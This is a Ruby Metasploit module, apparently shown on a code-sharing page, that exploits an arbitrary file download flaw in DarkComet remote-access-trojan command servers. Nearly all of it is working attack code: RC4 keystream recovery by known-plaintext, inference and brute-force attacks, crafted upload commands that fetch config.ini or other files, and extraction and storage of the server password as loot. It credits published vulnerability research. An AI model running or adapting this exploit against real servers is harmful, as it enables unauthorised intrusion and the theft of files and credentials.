扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'DarkComet Server Remote File Download Exploit', 'Description'=> %q{ This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. The exploit does not need to know the password chosen for the bot/server communication. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery 'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack ], 'References' => [ [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ], [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ] ], 'DisclosureDate' => 'Oct 08 2012', 'Platform' => 'win' )) register_options( [ Opt::RPORT(1604), Opt::RHOST('0.0.0.0'), OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']), OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']), OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]), OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']), OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]), OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1]) ], self.class) end # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext def xor_strings(s1, s2) s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*') end def get_keystream(ciphertext, known_plaintext) c = [ciphertext].pack('H*') if known_plaintext.length > c.length return xor_strings(c, known_plaintext[0, c.length]) elsif c.length > known_plaintext.length return xor_strings(c[0, known_plaintext.length], known_plaintext) else return xor_strings(c, known_plaintext) end end def use_keystream(plaintext, keystream) if keystream.length > plaintext.length return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase else return xor_strings(plaintext, keystream).unpack('H*')[0].upcase end end # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb) # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength def rc4_initialize(key) @q1 = 0 @q2 = 0 @key = [] key.each_byte { |elem| @key << elem } while @key.size < 256 @key.slice!(256..@key.size - 1) if @key.size >= 256 @s = (0..255).to_a j = 0 0.upto(255) do |i| j = (j + @s[i] + @key[i]) % 256 @s[i], @s[j] = @s[j], @s[i] end end def rc4_keystream @q1 = (@q1 + 1) % 256 @q2 = (@q2 + @s[@q1]) % 256 @s[@q1], @s[@q2] = @s[@q2], @s[@q1] @s[(@s[@q1] + @s[@q2]) % 256] end def rc4_process(text) text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join end def dc_encryptpacket(plaintext, key) rc4_initialize(key) rc4_process(plaintext).unpack('H*')[0].upcase end # Try to execute the exploit def try_exploit(exploit_string, keystream, bruting) connect idtype_msg = sock.get_once(12) if idtype_msg.length != 12 disconnect return nil end if datastore['KEY'] != '' exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY']) else # If we don't have a key we need enough keystream if keystream.nil? disconnect return nil end if keystream.length < exploit_string.length disconnect return nil end exploit_msg = use_keystream(exploit_string, keystream) end sock.put(exploit_msg) if bruting begin ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT']) rescue Timeout::Error disconnect return nil end else ack_msg = sock.get_once(3) end if ack_msg != "\x41\x00\x43" disconnect return nil # Different protocol structure for versions >= 5.1 elsif datastore['NEWVERSION'] == true if bruting begin filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i rescue Timeout::Error disconnect return nil end else filelen = sock.get_once(10).to_i end if filelen == 0 disconnect return nil end if datastore['KEY'] != '' a_msg = dc_encryptpacket('A', datastore['KEY']) else a_msg = use_keystream('A', keystream) end sock.put(a_msg) if bruting begin filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT']) rescue Timeout::Error disconnect return nil end else filedata = sock.get_once(filelen) end if filedata.length != filelen disconnect return nil end sock.put(a_msg) disconnect return filedata else filedata = '' if bruting begin msg = sock.timed_read(1024, datastore['BRUTETIMEOUT']) rescue Timeout::Error disconnect return nil end else msg = sock.get_once(1024) end while (!msg.nil?) && (msg != '') filedata += msg if bruting begin msg = sock.timed_read(1024, datastore['BRUTETIMEOUT']) rescue Timeout::Error break end else msg = sock.get_once(1024) end end disconnect if filedata == '' return nil else return filedata end end end # Fetch a GetSIN response from C2 server def fetch_getsin connect idtype_msg = sock.get_once(12) if idtype_msg.length != 12 disconnect return nil end keystream = get_keystream(idtype_msg, 'IDTYPE') server_msg = use_keystream('SERVER', keystream) sock.put(server_msg) getsin_msg = sock.get_once(1024) disconnect getsin_msg end # Carry out the crypto attack when we don't have a key def crypto_attack(exploit_string) getsin_msg = fetch_getsin if getsin_msg.nil? return nil end getsin_kp = 'GetSIN' + datastore['LHOST'] + '|' keystream = get_keystream(getsin_msg, getsin_kp) if keystream.length < exploit_string.length missing_bytecount = exploit_string.length - keystream.length print_status("Missing #{missing_bytecount} bytes of keystream ...") inferrence_segment = '' brute_max = 4 if missing_bytecount > brute_max print_status("Using inferrence attack ...") # Offsets to monitor for changes target_offset_range = [] for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1) target_offset_range << i end # Store inference results inference_results = {} # As long as we haven't fully recovered all offsets through inference # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail] getsin_observation = [''] * 4 buffer_head = 0 for i in 0..2 getsin_observation[i] = [fetch_getsin].pack('H*') Rex.sleep(0.5) end buffer_tail = 3 # Actual inference attack happens here while !target_offset_range.empty? getsin_observation[buffer_tail] = [fetch_getsin].pack('H*') Rex.sleep(0.5) # We check if we spot a change within a position between two consecutive items within our circular buffer # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0 target_offset_range.each do |x| index = buffer_head while index != buffer_tail do next_index = (index + 1) % 4 # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same # observations as well while being constant in at least one previous or subsequent observation if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1])) target_offset_range.delete(x) inference_results[x] = xor_strings(getsin_observation[index][x], '9') break end index = next_index end end # Update circular buffer head & tail buffer_tail = (buffer_tail + 1) % 4 # Move head to right once tail wraps around, discarding oldest item in circular buffer if buffer_tail == buffer_head buffer_head = (buffer_head + 1) % 4 end end # Inferrence attack done, reconstruct final keystream segment inf_seg = ["\x00"] * (keystream.length + missing_bytecount) inferrence_results.each do |x, val| inf_seg[x] = val end inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join missing_bytecount = brute_max end if missing_bytecount > brute_max print_status("Improper keystream recovery ...") return nil end print_status("Initiating brute force ...") # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max) charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] char_range = missing_bytecount.times.map { charset } char_range.first.product(*char_range[1..-1]) do |x| p = x.join candidate_plaintext = getsin_kp + p candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment filedata = try_exploit(exploit_string, candidate_keystream, true) if !filedata.nil? return filedata end end return nil end try_exploit(exploit_string, keystream, false) end def parse_password(filedata) filedata.each_line { |line| elem = line.strip.split('=') if elem.length >= 1 if elem[0] == 'PASSWD' if elem.length == 2 return elem[1] else return '' end end end } return nil end def run # Determine exploit string if datastore['NEWVERSION'] == true if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '') exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|' else exploit_string = 'QUICKUP1|config.ini|' end elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '') exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|' else exploit_string = 'UPLOADconfig.ini|1|1|' end # Run exploit if datastore['KEY'] != '' filedata = try_exploit(exploit_string, nil, false) else filedata = crypto_attack(exploit_string) end # Harvest interesting credentials, store loot if !filedata.nil? # Automatically try to extract password from config.ini if we haven't set a key yet if datastore['KEY'] == '' password = parse_password(filedata) if password.nil? print_status("Could not find password in config.ini ...") elsif password == '' print_status("C2 server uses empty password!") else print_status("C2 server uses password [#{password}]") end end # Store to loot if datastore['STORE_LOOT'] == true print_status("Storing data to loot...") if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '') store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file") else store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server") end else print_status(filedata.to_s) end else print_status("Attack failed or empty config file encountered ...") end end end |
体验盒子
